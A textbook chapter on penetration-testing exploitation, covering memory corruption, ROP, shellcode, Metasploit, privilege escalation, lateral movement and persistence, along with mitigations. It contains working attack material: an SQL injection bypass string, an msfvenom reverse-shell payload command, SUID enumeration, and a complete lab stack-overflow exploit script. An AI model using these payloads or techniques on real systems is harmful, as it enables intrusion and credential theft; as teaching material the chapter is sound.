Chapter 9: Exploitation and Post-Exploitation

Contents

Chapter 9: Exploitation and Post-Exploitation#

“Exploitation is not an end; it is the beginning of understanding what the attacker could do next.”


Learning Objectives#

After completing this chapter, you will be able to:

  1. Explain what exploitation means in a penetration-testing context.

  2. Describe common vulnerability classes and their exploitation mechanisms.

  3. Explain buffer overflows conceptually and how ASLR, DEP, and stack canaries mitigate them.

  4. Describe how Metasploit is structured and how to use it responsibly.

  5. Explain privilege escalation techniques for Linux and Windows environments.

  6. Describe lateral movement techniques including pass-the-hash and pass-the-ticket.

  7. Explain persistence mechanisms and their detection signatures.

  8. Document post-exploitation activities with a timeline for the pentest report.

Key Terms#

  • Exploit: code or technique that triggers a vulnerability to achieve a desired effect.

  • Payload: the code executed after a successful exploit; commonly a reverse shell or Meterpreter.

  • Shellcode: machine code injected via a memory-corruption vulnerability.

  • Buffer overflow: writing beyond an allocated buffer to overwrite adjacent memory.

  • ASLR: Address Space Layout Randomisation; randomises memory addresses to defeat hardcoded jumps.

  • DEP/NX: Data Execution Prevention / No-Execute; marks memory pages non-executable.

  • Stack canary: a random value placed before the return address; checked before function return.

  • ROP: Return-Oriented Programming; chains existing code gadgets to bypass DEP.

  • Privilege escalation (privesc): gaining higher-privilege access than initially obtained.

  • Lateral movement: using initial access to compromise additional hosts on the network.

  • Pass-the-hash (PtH): authenticating with a captured NTLM hash without cracking it.

  • Pass-the-ticket (PtT): using a captured Kerberos ticket for authentication.

  • Persistence: mechanisms maintaining access after session termination or reboot.

  • Meterpreter: Metasploit’s in-memory payload providing an interactive post-exploitation shell.


9.1 What Exploitation Is (and Is Not)#

In a Penetration Test#

Exploitation in a pentest is the controlled demonstration that a vulnerability can be leveraged to achieve an attacker’s objective. The goal is evidence: a screenshot proving access was obtained, a hash or flag proving data was reached. Exploitation is not about causing damage; it stops at the minimum necessary to produce that evidence.

Ethical Boundaries#

A tester who gains a shell on a server does not run commands that could corrupt data, deny service to users, or access data outside the authorized scope. The rule: minimum necessary access to prove the point. Evidence of access to the /etc/passwd file proves Unix system compromise; it is not necessary to also access the backup database unless that is specifically authorized.


9.2 Common Vulnerability Classes#

Injection Vulnerabilities#

Injection vulnerabilities arise when user-controlled data is interpreted as code or a command. SQL injection passes malicious SQL through an application input to query or modify a database. Command injection passes shell commands through an application that calls a system function. LDAP injection, XML injection, and template injection follow the same pattern. All injection attacks share a root cause: the application fails to separate data from instructions.

SQL Injection#

A login form that constructs SELECT * FROM users WHERE username='$u' AND password='$p' can be bypassed by entering ' OR 1=1 -- as the username, producing a query that always returns true. Union-based SQLi extracts data from other tables; blind SQLi infers data through true/false responses or timing differences (time-based blind).

Memory Corruption#

Memory-corruption vulnerabilities occur when a program writes to memory it does not own. The classic example is a stack-based buffer overflow: a fixed-size buffer is filled with attacker- controlled data that overwrites the saved return address, redirecting execution to attacker-supplied shellcode.

Modern Mitigations#

Modern compilers and operating systems layer multiple mitigations:

  • Stack canary: a random 8-byte value placed between local variables and the saved return address. A canary check before function return detects stack corruption.

  • ASLR: randomises the base addresses of the stack, heap, and libraries at each execution, defeating attacks that hardcode addresses.

  • DEP/NX: marks the stack and heap as non-executable so injected shellcode cannot run.

  • PIE: Position-Independent Executable; randomises the executable’s own base address.

Return-Oriented Programming (ROP) was developed to bypass DEP: instead of injecting shellcode, the attacker chains together short instruction sequences (gadgets) already present in the binary, ending each gadget with a ret instruction. ROP does not require executable stack or heap.

Authentication and Session Vulnerabilities#

Broken authentication includes: default credentials (admin/admin), weak password policies, credential stuffing (re-using leaked username/password pairs), missing lockout after failed attempts, and insecure session tokens (predictable, short, or transmitted in the clear).


9.3 From Source to Machine Code: The Compilation Pipeline#

Memory-corruption exploitation requires understanding what a program is at runtime, so we begin with how source code becomes the bytes the CPU executes, the “programming survival skills” a low-level attacker needs. A C program passes through four stages, each of which can be inspected.

// hello.c -- the source
#include <stdio.h>
int main() { printf("Hello, world!\n"); return 0; }
  1. Preprocessing (gcc -E hello.c -o hello.i) expands #include and macros into a single translation unit (hello.i).

  2. Compilation (gcc -S hello.i -o hello.s) translates it to human-readable assembly.

  3. Assembly (gcc -c hello.s -o hello.o) produces a binary object file (machine code with unresolved symbols).

  4. Linking (gcc hello.o -o hello) resolves libraries into a runnable executable.

The assembly stage is where the runtime structure becomes visible. The x86-64 assembly for main sets up a stack frame and calls into libc:

_main:
    pushq   %rbp            ; save caller's base pointer
    movq    %rsp, %rbp      ; establish this function's frame
    leaq    lC0(%rip), %rax ; address of "Hello, world!"
    movq    %rax, %rdi      ; first argument
    call    _puts           ; call library function
    movl    $0, %eax        ; return 0
    popq    %rbp
    ret                     ; pop return address into RIP and jump there

The two instructions that matter most for exploitation are call (which pushes the return address onto the stack) and ret (which pops that address into the instruction pointer and jumps to it). Everything in this chapter’s memory attacks comes down to controlling what ret finds on the stack.

9.4 Memory Corruption: The Stack, the Heap, and Buffer Overflows#

With the runtime model in hand, we can see how unsafe memory handling becomes code execution. A running process lays its memory out in regions: the text segment (the read-only machine code), the data/BSS segments (globals), the heap (dynamically allocated memory, growing up), and the stack (function frames with local variables, saved base pointer, and the all-important saved return address, growing down). A buffer overflow occurs when a program writes more data into a buffer than it can hold, spilling into adjacent memory, and depending on where the buffer lives, that adjacent memory may be another variable, the saved return address, or heap metadata.

The canonical example is a stack buffer overflow that subverts a decision. The program below reads a password into a 15-byte buffer with gets(), a function so dangerous it was removed from the C standard because it has no bounds checking at all.

// buf1_pass.c -- classic stack overflow / authentication bypass
int main(void) {
    char buff[15];
    int  pass = 0;
    printf("\n Enter the password : \n");
    gets(buff);                          // NO bounds check -- writes past buff[15]
    if (strcmp(buff, "thegeekstuff")) printf("\n Wrong Password \n");
    else { printf("\n Correct Password \n"); pass = 1; }
    if (pass) printf("\n Root privileges given to the user \n");
    return 0;
}

Entering a password longer than fifteen characters overflows buff into the adjacent pass integer; a long enough input sets pass to a non-zero value, so the program prints “Root privileges given to the user” without the correct password. This is an authentication bypass produced purely by overwriting adjacent stack memory, and it is a vivid argument for the principle of least privilege (Chapter 1): a program that need not grant root should not, so that a memory bug cannot escalate to full control. Inspecting the program’s assembly (buf1_pass.s) shows the same story at the machine level: subq $32, %rsp reserves the frame that holds both buff and pass, and the overflow simply walks past the buffer into the rest of that frame, and, with enough bytes, into the saved return address itself.

Stack Exhaustion and Heap Problems#

Not every memory fault is an exploitable overwrite; some merely crash, and distinguishing the cases matters for triage. Stack exhaustion happens when the stack grows beyond its limit. Declaring an enormous local array overflows the stack immediately,

// buf2_stack1.c -- allocating a 10^5 x 10^5 array on the stack -> stack overflow (crash)
int mat[100000][100000];

and unbounded recursion does the same by pushing frames forever (the buggy function below never reaches its base case because it resets x to 6 each call):

// buf3_stack2.c -- infinite recursion exhausts the stack
void fun(int x) { if (x == 1) return; x = 6; fun(x); }   // never terminates

The heap has its own failure modes. Allocating without freeing is a memory leak that slowly exhausts memory, while a single oversized request fails outright:

// buf4_heap1.c -- leak: malloc in a loop with no free()
for (int i = 0; i < 10000000; i++) { int *ptr = (int*)malloc(sizeof(int)); }   // never freed

// buf5_heap2.c -- one huge allocation
int *ptr = (int*)malloc(sizeof(int) * 10000000);

These bugs typically cause denial of service rather than code execution, but related heap errors, use-after-free, double-free, and heap overflows that corrupt allocator metadata, are exploitable and are the dominant memory-safety bug class in modern browsers and kernels. The unifying lesson, and the reason memory-safe languages (Rust, Go, Java) and hardened allocators exist, is that C and C++ place the entire burden of bounds and lifetime checking on the programmer.

9.5 From Stack Smashing to Return-Oriented Programming#

The truly dangerous overflow overwrites not an adjacent variable but the saved return address. Because ret loads that address into the instruction pointer, an attacker who controls it controls execution: this is “smashing the stack” (Aleph One, 1996). Classically the attacker also injected shellcode (machine code that spawns a shell) into the buffer and pointed the return address at it.

Defenses and counter-defenses then escalated in a well-documented arms race:

  • Non-executable memory (DEP / the NX bit) marks the stack and heap non-executable, so injected shellcode cannot run. Attackers responded with code reuse: instead of injecting code, jump to code already present.

  • Return-to-libc redirects ret into an existing library function (such as system("/bin/sh")).

  • Return-Oriented Programming (ROP), formalized by Hovav Shacham (2007), generalizes this. The attacker finds short instruction sequences ending in ret, called gadgets, scattered through existing executable code, and overwrites the stack with a chain of gadget addresses. Each gadget does a tiny operation (load a register, add, store) and its trailing ret jumps to the next, so the chain performs arbitrary computation using only code that is already there, defeating NX without injecting anything.

The defenses that blunt ROP are layered:

  • Address Space Layout Randomization (ASLR) randomizes where code and stack live, so the attacker cannot predict gadget or function addresses.

  • Stack canaries (StackGuard, Cowan et al., 1998) place a random value before the return address and check it on return; an overflow that reaches the return address corrupts the canary and aborts the program.

  • Control-Flow Integrity (CFI) restricts indirect jumps and returns to legitimate targets, and hardware features such as shadow stacks (Intel CET) enforce that returns match calls.

  • Least privilege and sandboxing (Chapter 1, Chapter 11) limit what a successful exploit can reach.

        flowchart TD
    A[Overflow overwrites saved return address] --> B{Is the stack executable?}
    B -- "Yes (no NX)" --> C[Inject and run shellcode]
    B -- "No (NX/DEP)" --> D[Reuse existing code]
    D --> E[return-to-libc]
    D --> F[ROP gadget chain]
    C --> G{Mitigations}
    E --> G
    F --> G
    G --> H[ASLR randomizes addresses]
    G --> I[Stack canary detects overwrite]
    G --> J[CFI / shadow stack blocks bad returns]
    G --> K[Least privilege limits impact]
    

Knowledge Check

  1. In buf1_pass.c, what exactly does the overflow overwrite to bypass the password check, and which secure function should replace gets()?

  2. Why did the NX bit not end memory-corruption exploitation, and what technique did attackers adopt instead?

  3. Name two mitigations that specifically make ROP harder and say how each works.

Answers: (1) It overflows buff into the adjacent pass integer, setting it non-zero so the “root privileges” branch runs; replace gets() with a bounded read such as fgets(buff, sizeof buff, stdin). (2) NX stops injected code from executing, so attackers switched to code reuse, return-to-libc and ROP, which run code already present. (3) ASLR randomizes addresses so gadget/function locations are unpredictable; stack canaries place a random guard before the return address and abort if an overflow corrupts it; CFI/shadow stacks restrict returns to legitimate targets.

9.6 Programming Survival Skills for Exploitation#

Before automating exploitation with frameworks, a practitioner needs a working mental model of how programs use the CPU and memory, the “programming survival skills” that separate someone who runs exploits from someone who understands them. Building on the compilation pipeline above, three ideas recur.

Registers and the calling convention. The CPU holds working values in registers. On x86-64, RIP is the instruction pointer (the address of the next instruction to execute), RSP points to the top of the stack, RBP anchors the current stack frame, and RAX typically holds return values; the first integer arguments are passed in RDI, RSI, RDX, RCX, R8, R9. Exploitation is, at bottom, the art of getting attacker-chosen data into RIP (or into the registers a ret/call will use), which is why the stack’s saved return address is the prize.

The stack frame. Each function call pushes a frame: arguments, the saved return address (pushed by call), the saved base pointer, and local variables. Because the stack grows downward while buffers are written upward, a buffer overflow (above) walks toward the saved return address, the geometry that makes stack smashing possible.

System calls and tooling. Ultimately a program asks the kernel for services (open a file, spawn a process) via system calls. An exploit’s goal is usually to invoke execve("/bin/sh", ...) to get a shell. To see all of this concretely, attackers use a debugger such as GDB (with extensions like GEF or pwndbg) to set breakpoints, inspect registers and memory, and watch the stack as input is processed, and endianness matters when writing addresses (x86 is little-endian, so the address 0xdeadbeef is written byte-reversed in the payload). These skills are the prerequisite for everything that follows, and they are exactly the content of the “Basic Linux Exploits” and “Programming Survival Skills” tradition this section draws on.

9.7 Shellcode and Shellcode Strategies#

When an overflow gives control of execution, the attacker needs something for the program to do; classically that something is shellcode, a small piece of position-independent machine code, typically crafted to call execve("/bin/sh") and hand the attacker an interactive shell. Writing shellcode imposes unusual constraints that define the craft.

  • No null bytes. Because the vulnerable copy is often a C string function that stops at a null byte (0x00), shellcode must usually be null-free, achieved by choosing instructions whose encodings avoid zero bytes (for example xor eax, eax to zero a register instead of mov eax, 0).

  • Position independence. The code cannot assume where it will land in memory, so it computes addresses relative to itself.

  • NOP sleds. Because the exact landing address is hard to predict, the attacker prepends a run of no-operation instructions (a NOP sled); jumping anywhere in the sled “slides” execution down into the shellcode, widening the target.

  • Encoders and bad characters. Some bytes are forbidden by the target’s input handling (for example newline, 0x0a). Attackers run shellcode through an encoder (such as Metasploit’s classic shikata_ga_nai) that rewrites it to avoid those “bad characters” and to evade naive signatures, prepending a small decoder stub that restores the original at runtime.

On modern systems, injecting and executing shellcode on the stack is blocked by the NX bit (above), so pure shellcode injection is largely historical; it is defeated by NX and must be replaced by the code-reuse and ROP techniques already described. Shellcode remains essential, however, as the final payload that an ROP chain ultimately stages into executable memory (for example after calling mprotect to make a region executable).

9.8 The Exploit-Development Workflow#

Turning a crash into a working exploit follows a repeatable workflow, and understanding it demystifies what an exploit framework automates.

  1. Fuzz and find a crash. Feed the target malformed or oversized input (manually or with a fuzzer) until it crashes, signaling that input reached something it should not have. Modern coverage-guided fuzzers such as AFL use genetic (evolutionary) algorithms: they treat inputs as a population, keep those that reach new code paths, and mutate and recombine them across generations to evolve toward deeper crashes, which is far more effective than random input. (Genetic algorithms, a general optimization technique inspired by natural selection, recur across security in fuzzing, malware detection, and parameter tuning.)

  2. Control the instruction pointer. Reproduce the crash in a debugger and confirm that attacker bytes land in RIP/EIP (the program tries to “return” to an attacker-controlled address). A cyclic pattern (such as Metasploit’s pattern_create/pattern_offset) finds the exact offset at which the saved return address is overwritten.

  3. Find space and avoid bad characters. Determine where the payload can live and enumerate bad characters the input handling mangles, so the payload avoids them.

  4. Redirect execution. Overwrite the return address with the address of something useful: classically a JMP ESP gadget in a non-randomized module that bounces execution into the shellcode placed on the stack; on modern systems, the start of an ROP chain that defeats NX and, combined with an information leak, defeats ASLR.

  5. Stage the payload. Deliver shellcode (or a staged payload) and gain a shell or implant.

Each modern mitigation inserts a step: a stack canary forces the attacker to leak or avoid the canary; NX forces ROP; ASLR forces an information leak to discover addresses; CFI constrains which gadgets are reachable. Exploitation today is therefore rarely a single overflow but a chain of a memory bug plus an information leak plus a bypass, which is why memory-safe languages and these layered defenses (above) are so valuable.

In-Class Exercise: find the offset (authorized lab only)

On an intentionally vulnerable lab binary (for example from a CTF or a course VM), feed it a long input and confirm in GDB that you can overwrite the saved return address. Use a cyclic pattern to compute the exact offset to RIP, then craft an input that places a known value (such as 0x4242424242424242) into RIP. Document the offset and the register state at the crash. Do this only on systems you are authorized to test.

Inside the Metasploit Framework#

The section heading above introduced Metasploit; here we go deeper, because it is the tool that ties this chapter together and the one students will use most. The Metasploit Framework (open source, with the commercial Pro edition) is a modular exploitation platform driven from the msfconsole command line. Its power is in its module types:

  • exploit modules deliver a vulnerability trigger;

  • payload modules are what runs after a successful exploit;

  • auxiliary modules do scanning, fuzzing, and other non-exploit tasks;

  • post modules run on an already-compromised host (credential dumping, pivoting, enumeration);

  • encoder and nop modules transform payloads to avoid bad characters and signatures.

A typical session is search for a module, use it, show options and set the required parameters (RHOSTS, LHOST, LPORT, PAYLOAD), then exploit. Payloads come in two crucial flavors. Staged payloads (written windows/meterpreter/reverse_tcp) send a tiny first-stage stub that pulls down the rest over the network, useful when buffer space is tight; stageless payloads (windows/meterpreter_reverse_tcp) deliver everything at once. Orthogonally, a reverse payload makes the victim connect back to the attacker (bypassing inbound firewall rules, the usual choice), while a bind payload opens a listener on the victim.

Meterpreter is Metasploit’s flagship payload: an in-memory, extensible agent that gives a rich post-exploitation API (file system access, hashdump, screenshotting, keylogging, getsystem privilege escalation, and pivoting through route) while leaving little on disk. The companion tool msfvenom generates standalone payloads in many formats (msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... -f exe -o payload.exe) and applies encoders, which is how payloads are embedded in phishing documents or trojaned binaries (Chapter 4, Chapter 15). Used responsibly on authorized targets, Metasploit turns the manual exploit-development workflow above into repeatable, auditable steps.

9.9 Passive and Static Analysis: Reverse Engineering for Exploitation#

Finding the vulnerability in the first place, and understanding a target binary or piece of malware, is the domain of program analysis, which divides into two complementary approaches. Static (passive) analysis examines a program without running it: reading its disassembly, strings, imports, and control flow. Dynamic analysis runs the program (often in a sandbox or debugger) and observes its behavior, which connects to the malware analysis of Chapter 15.

The static analyst’s toolkit is standard: file identifies a binary’s type and architecture; strings extracts embedded text (URLs, error messages, hard-coded secrets); nm/objdump/readelf reveal symbols, sections, and disassembly; and full disassemblers/decompilers, the NSA’s open-source Ghidra, the commercial IDA Pro, and Binary Ninja or radare2, reconstruct higher-level structure and even pseudo-C from machine code. Reverse engineering serves both offense and defense: an exploit developer reads a patched function to find the bug it fixed (enabling “1-day” exploits and patch diffing), while a defender reverses malware to extract indicators of compromise. The same skills underpin vulnerability research, auditing source or binaries for new (0-day) flaws, which is where the memory-corruption knowledge of this chapter is applied in anger. Static analysis is also exactly what the SAST tools of Chapter 10 automate over source code, the visitor-pattern AST traversal mentioned there.

Privilege Escalation in Depth#

The existing discussion of privilege escalation deserves concrete technique, because gaining a low-privileged foothold is rarely the goal; attackers want root (Linux) or SYSTEM/Administrator (Windows). Escalation is either vertical (low to high privilege) or horizontal (to another same-level account), and it exploits misconfiguration as often as code bugs.

On Linux, common vectors include misconfigured SUID/SGID binaries (a program that runs as its owner, often root, and can be coerced into running attacker commands, see GTFOBins), overly permissive sudo rules, writable cron jobs or PATH entries, exposed credentials and SSH keys, and, as a last resort, kernel exploits against an unpatched kernel. Enumeration scripts such as LinPEAS automate the search. On Windows, vectors include unquoted service paths, weak service permissions, DLL hijacking (planting a malicious DLL in a search-path location), token impersonation (Meterpreter’s getsystem, “potato” attacks abusing SeImpersonatePrivilege), UAC bypasses, and stored credentials in the registry or LSASS memory (dumped with Mimikatz); WinPEAS and PowerUp automate discovery. The unifying defense is the principle of least privilege (Chapter 1): services run as low-privileged accounts, patches close kernel and service bugs, and credential-guard features protect secrets in memory, so that a foothold cannot become total control.

Post-Exploitation, Lateral Movement, and Defense Evasion#

Once a host is compromised and privileges raised, the attacker pursues the objective, and the techniques here map directly onto the MITRE ATT&CK tactics defenders track. Lateral movement spreads to other systems using stolen credentials rather than new exploits: pass-the-hash (authenticating with an NTLM hash without the plaintext password), pass-the-ticket and Kerberoasting against Active Directory (Chapter 11), and remote-execution tools such as PsExec, WMI, and WinRM/RDP. Persistence ensures the attacker survives reboots and credential changes via scheduled tasks, services, registry run-keys, web shells, SSH keys, or cron jobs (the techniques cataloged here recur in Chapter 14’s incident response).

Defense evasion is the thread connecting all of it: disabling or blinding security tools, clearing logs, living off the land with built-in binaries (LOLBins such as certutil and powershell) to avoid dropping malware, and obfuscating or encoding payloads to evade antivirus (Chapter 15). Modern endpoint detection and response (EDR) makes this harder, which is why attackers increasingly favor in-memory, fileless techniques. (In April 2026, ATT&CK v19 split the former Defense Evasion tactic into two: Stealth (TA0005), hiding malicious activity within legitimate behavior, and Defense Impairment (TA0112), actively disabling or degrading security controls, a distinction that maps cleanly onto the techniques above.) For the ethical hacker, the point of practicing post-exploitation is not the access itself but demonstrating impact, what an attacker could actually reach and do, which is the finding that drives remediation.

Knowledge Check

  1. Why does the NX bit push attackers from shellcode injection toward return-oriented programming?

  2. In Metasploit, what is the difference between a staged and a stageless payload, and between a reverse and a bind payload?

  3. Name one Linux and one Windows local privilege-escalation vector and the least-privilege defense against it.

Answers: (1) NX makes injected stack/heap data non-executable, so attackers reuse existing executable code via ROP/ret2libc instead of running injected shellcode. (2) Staged sends a small stub that downloads the rest; stageless sends the whole payload at once. A reverse payload connects from victim back to attacker (bypassing inbound firewalls); a bind payload opens a listener on the victim. (3) Linux: a misconfigured SUID binary or sudo rule, fixed by removing unnecessary SUID bits and tightening sudoers; Windows: unquoted service paths or token impersonation, fixed by quoting paths, least-privilege service accounts, and removing SeImpersonatePrivilege where not needed.

Software Design Patterns and Security#

Design patterns are reusable solutions to recurring software-design problems, and they meet security in two ways: classic patterns can be implemented securely or insecurely, and a separate family of patterns exists specifically to encode security.

Among the classic Gang-of-Four patterns, several carry security implications. The Singleton centralizes shared state, handy for one audit-log or configuration object but a bottleneck and a tampering target if it is globally mutable. Factory and Builder patterns make good security choke points: routing all object creation through a factory lets you enforce validation and safe defaults in one place (a “secure factory”). The Proxy and Decorator patterns are the natural home for cross-cutting controls such as access checks, rate limiting, and logging wrapped around a sensitive object. Observer and event-driven designs must guard against untrusted subscribers and event injection. Insecure deserialization (a recurring web flaw, Chapter 10) often hides behind object-creation patterns that rebuild arbitrary types from input.

A second family, the security design patterns, encodes defensive best practice directly: the Intercepting Validator (validate and canonicalize all input at the boundary), the Authorization Enforcer or policy-decision-point pattern (centralize access decisions rather than scattering checks), the Secure Factory, the Single Access Point (one controlled entry such as a gateway or bastion, Chapter 11), and Defense in Depth itself as an architectural pattern (Chapter 1). These complement the secure-design principles of Saltzer and Schroeder (Chapter 1) and the threat-modeling step of Chapter 6: patterns provide vetted building blocks, but only a threat model tells you which controls each component actually needs. The anti-patterns are equally instructive and should be avoided: hardcoded secrets, security by obscurity, authorization checks scattered throughout the code, and trusting client-side validation alone.

A second example is the proxy and decorator pair. A protection proxy wraps a sensitive object and performs an authorization check before forwarding any call, which centralizes access control so it cannot be bypassed by forgetting a check at one call site; a decorator can add input validation or audit logging around an existing component without changing it. Used together with the factory and singleton patterns discussed above, they show how disciplined design makes security properties structural rather than incidental. The same patterns can be abused: an attacker who can substitute a malicious factory or proxy into a dependency-injection container can intercept every object it produces, which is why integrity of configuration and dependencies (Chapter 17) matters as much as the code itself.

9.10 Metasploit Framework#

Structure#

Metasploit organizes attack capabilities into modules:

  • Exploit modules: trigger a specific vulnerability.

  • Payload modules: execute after a successful exploit (reverse shell, Meterpreter, cmd).

  • Auxiliary modules: scanning, enumeration, brute-force, without exploitation.

  • Post modules: post-exploitation activities (gather credentials, escalate privileges).

  • Encoder modules: obfuscate payloads to evade signature detection.

Responsible Use#

Metasploit is a penetration-testing tool. Running it against systems without authorization is a criminal offense. In authorized engagements, the tester selects the narrowest exploit targeting the confirmed vulnerable version, uses the safest payload (avoid shellcode that crashes services), and documents every module and option used.


9.11 Privilege Escalation#

Linux Privilege Escalation#

Starting from a low-privilege shell, the tester seeks to reach root. Common vectors:

SUID/SGID Binaries#

Files with the SUID bit execute with the owner’s privileges (often root) regardless of who runs them. find / -perm -4000 2>/dev/null finds all SUID files. GTFOBins documents SUID binaries (vim, find, python) that can be leveraged to spawn a root shell.

Sudo Misconfiguration#

sudo -l lists commands a user can run as root. A misconfigured sudoers entry allowing sudo vim or sudo python can trivially escalate to root via the editor’s shell escape or Python’s os.system().

Kernel Exploits#

An unpatched kernel may be vulnerable to a privilege escalation exploit (DirtyCow, PwnKit). These are high-risk: kernel exploits can crash the system if they fail. Testers document the kernel version and CVE but often do not run kernel exploits in production environments without explicit authorization.

Windows Privilege Escalation#

Token Impersonation#

Windows uses access tokens to identify the security context of processes. A low-privilege user who obtains a high-privilege token (via a SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege vulnerability) can escalate. Potato exploits (RottenPotato, JuicyPotato) exploit this on service accounts.

Unquoted Service Paths#

Windows service executables with unquoted paths containing spaces allow path-traversal privilege escalation: if C:\Program Files\Vendor\service.exe is configured without quotes, Windows will try C:\Program.exe first. Placing a malicious executable at that path causes it to execute as SYSTEM when the service starts.


9.12 Lateral Movement#

Pass-the-Hash#

Windows NTLM authentication accepts a hash in place of a password. An attacker who extracts NTLM hashes from the SAM database, LSASS memory, or network captures using Mimikatz can authenticate to other machines on the network as that user without cracking the hash. PtH is a fundamental reason organizations should mandate Credential Guard and disable NTLM where possible.

Pass-the-Ticket#

Kerberos authentication uses tickets. A forged or captured TGT or service ticket can be injected into a session using Mimikatz’s kerberos::ptt. A Golden Ticket is a forged TGT signed with the KRBTGT account’s hash; it grants access to any service in the domain and remains valid even after a user’s password change (until the KRBTGT hash is rotated twice).


9.13 Persistence#

Common Persistence Mechanisms and Their Detection Signatures#

Mechanism

OS

Detection

Registry Run keys

Windows

Monitor HKCU/HKLM Run key writes

Scheduled tasks

Windows

Event ID 4698 (task created)

Cron jobs

Linux

Monitor /etc/cron* and user crontabs

Systemd service

Linux

New .service files in /etc/systemd

SSH authorised_keys

Linux

Monitor ~/.ssh/authorized_keys writes

WMI subscriptions

Windows

WMI activity logs; EDR alerts

DLL hijacking

Windows

Monitor DLL loads from user-writable paths


9.14 Privilege Escalation Paths: Windows, Linux, and Active Directory#

Section 9.11 introduced privilege escalation in general; in real engagements it usually follows well-worn paths worth naming. On Linux, common local escalations include misconfigured sudo rules, setuid binaries, writable cron jobs or service files, exposed credentials, and exploitable kernel versions, and tools such as LinPEAS automate the search for them. On Windows, frequent paths include unquoted service paths, services with weak file or registry permissions, the always-install-elevated policy, token impersonation, and credential theft from memory, which WinPEAS and similar tools enumerate.

In enterprise networks the highest-value paths run through Active Directory (AD), the directory service that authenticates users with Kerberos. Several abuses are standard knowledge:

  • Kerberoasting: any authenticated user can request service tickets for accounts that run network services, then crack them offline to recover those accounts’ passwords (the offline-cracking idea from Chapter 2 and Chapter 9 applies directly).

  • AS-REP roasting: accounts that do not require Kerberos pre-authentication leak a crackable hash to any requester.

  • Pass-the-hash and pass-the-ticket: a stolen password hash or Kerberos ticket can be reused to authenticate without ever knowing the plaintext password.

  • Golden and silver tickets: an attacker who obtains the domain krbtgt key or a service-account key can forge tickets that grant arbitrary access.

  • DCSync: an account with directory replication rights can ask a domain controller to hand over password hashes as if it were another controller.

Defenders map and cut these paths with tools such as BloodHound, which graphs the relationships in a directory to reveal the shortest route from a low-privilege foothold to domain administrator, and they reduce exposure with strong service-account passwords or group managed service accounts, tiered administration, least privilege, and monitoring for the telltale ticket requests. Frameworks such as Metasploit and dedicated post-exploitation toolkits package many of these techniques, which is exactly why detecting their characteristic behavior matters.

9.15 A Worked Stack Buffer Overflow, Start to Finish#

Sections 9.4 and 9.5 introduced memory corruption; this section walks a single vulnerability from source code to a working control-flow hijack, the exercise a reverse-engineering or exploitation course repeats until it is automatic. Everything here must be done only in a deliberately vulnerable lab (compiled with mitigations disabled) that you own.

Consider a classic vulnerable program:

// vuln.c  -- compile for practice with mitigations off:
//   gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
#include <stdio.h>
#include <string.h>

void win(void) { puts("you redirected control flow!"); }

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);      // no bounds check: writes past 64 bytes
}

int main(int argc, char **argv) {
    if (argc > 1) vulnerable(argv[1]);
    return 0;
}

strcpy copies until a NUL byte, so an argument longer than 64 bytes writes past buffer and eventually over the saved return address, exactly the mechanism of Section 9.4. The workflow of Section 9.8 now applies.

Step 1: find the crash and the offset. Feed increasing input until the program crashes with the saved return address overwritten, then find the exact distance to it. A cyclic (De Bruijn) pattern makes the offset readable from the register that faults.

# In GDB with the pwndbg or GEF extension
gdb ./vuln
pwndbg> cyclic 200            # generate a non-repeating pattern
pwndbg> run $(python3 -c "print('A'*200)")   # or run with the pattern
# ... program crashes; RSP/RIP holds part of the pattern ...
pwndbg> cyclic -l 0x6161...   # look up the offset -> here, 72 bytes

Step 2: control the instruction pointer. With the offset known (say 72 bytes: 64 for the buffer, 8 for the saved frame pointer), the next 8 bytes overwrite the saved return address. Point them at win().

Step 3: build and fire the exploit. The payload is padding to the offset, then the target address in little-endian byte order. The Python below constructs exactly that.

# Build a stack-overflow payload: padding up to the saved return address, then the
# target address (little-endian). Educational; targets a local, mitigations-off binary.
import struct

OFFSET   = 72                 # bytes from buffer start to the saved return address
WIN_ADDR = 0x00401156         # address of win() from `nm ./vuln` or the disassembler

payload  = b"A" * OFFSET           # fill the buffer and saved frame pointer
payload += struct.pack("<Q", WIN_ADDR)   # overwrite return address (64-bit, little-endian)

print(f"payload length: {len(payload)} bytes")
print(f"return address overwritten with: {WIN_ADDR:#018x}")
print("ret-address bytes on the stack:", payload[OFFSET:].hex())
# Delivered in a lab as:  ./vuln "$(python3 exploit.py)"  or via pwntools process()

When the vulnerable function returns, the CPU pops the attacker-supplied address into RIP and jumps to win(). In a real exploit the target is not a convenient win() but shellcode the attacker placed in the buffer (Section 9.7) or, on modern systems, a return-oriented programming chain (below). The professional tool for all of this is pwntools, whose cyclic, p64, process, and ELF helpers turn each manual step into one line.

9.16 Format-String and Heap Vulnerabilities#

Buffer overflows are one memory-corruption class; two others recur often enough to know.

A format-string vulnerability occurs when user input is passed as the format argument of a printf-family function, as in printf(user_input) instead of printf("%s", user_input). The attacker then supplies format specifiers the program never intended: %x leaks stack words, %s dereferences and prints memory (defeating ASLR by leaking addresses), and %n writes the number of bytes printed so far to a pointed-at address, giving an arbitrary write that can overwrite a return address or a function pointer. The fix is trivial and absolute: never let untrusted data be the format string.

Heap exploitation targets the dynamic allocator rather than the stack. A use-after-free dereferences a pointer to memory that has been freed and, often, reallocated to attacker-controlled data; a double free corrupts the allocator’s free-list bookkeeping; and a heap overflow overwrites adjacent heap metadata or an adjacent object’s function pointer. Heap exploits are more intricate than stack overflows because the attacker must groom the heap into a predictable layout, but they remain highly relevant because browsers and language runtimes are full of heap-managed objects.

9.17 Defeating Mitigations: Return-Oriented Programming#

Modern systems deploy the mitigations of Section 9.5, and understanding how exploits adapt is what separates a textbook overflow from a real one.

  • DEP / NX marks the stack and heap non-executable, so injected shellcode will not run. The answer is return-oriented programming (ROP): instead of injecting code, the attacker chains together short instruction sequences already present in the program or its libraries, each ending in ret, called gadgets. A chain of gadget addresses laid on the stack executes arbitrary logic using only existing code, commonly to call mprotect to make memory executable or to invoke execve("/bin/sh").

  • ASLR randomizes load addresses so the attacker cannot know where gadgets are. It is defeated by an information leak (such as the format-string %s above, or an uninitialized-memory read) that reveals one runtime address, from which the rest are computed by fixed offsets.

  • Stack canaries place a random value before the saved return address and check it on return; an overflow that reaches the return address also corrupts the canary and is caught. They are bypassed by leaking the canary value first, or by overwriting a target that sits before the canary.

